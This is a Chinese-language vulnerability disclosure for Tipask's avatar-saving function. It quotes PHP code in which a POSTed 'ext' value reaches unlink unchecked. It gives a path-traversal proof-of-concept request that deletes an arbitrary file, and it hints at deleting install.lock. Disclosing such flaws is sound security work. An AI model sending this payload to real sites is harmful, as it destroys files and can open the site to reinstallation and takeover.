### 简要描述:
* tipask可以调整头像保存并删除原始头像
* 在删除原始头像时使用了post提交的参数
* 造成任意文件删除漏洞
### 详细说明:
```
function onsaveimg() {
$x1 = $this-> post['x1' ];
$y1 = $this-> post['y1' ];
$x2 = $this-> post['x2' ];
$y2 = $this-> post['y2' ];
$w = $this-> post['w' ];
$h = $this-> post['h' ];
$ext = $this-> post['ext' ];
$upload_tmp_file = TIPASK_ROOT . "/data/tmp/" . 'bigavatar' . $this->user['uid' ] . $ext;
$avatardir = "/data/avatar/"; //图片存放目录
$scale = 100 / $w;
resizeThumbnailImage( $smallimg, $upload_tmp_file, $w, $h, $x1, $y1, $scale);
copy($upload_tmp_file, TIPASK_ROOT . $dir3 . '/big_' . $uid . $ext);
is_file($upload_tmp_file) && unlink($upload_tmp_file);
$_ENV[ 'user']->update_avatar($smallimg);
$this->message( '头像设置成功!' , 'user/editimg' );
}
```
可以看到onsaveimg函数直接调用post的ext参数并传入到$upload_tmp_file中,最后进入unlink。造成任意文件删除漏洞。
### 漏洞证明:
删除根目录下的test.php
post ext=/../../../test.php 到?user/saveimg.html
其实可以删除install.lock你们懂的
暂无评论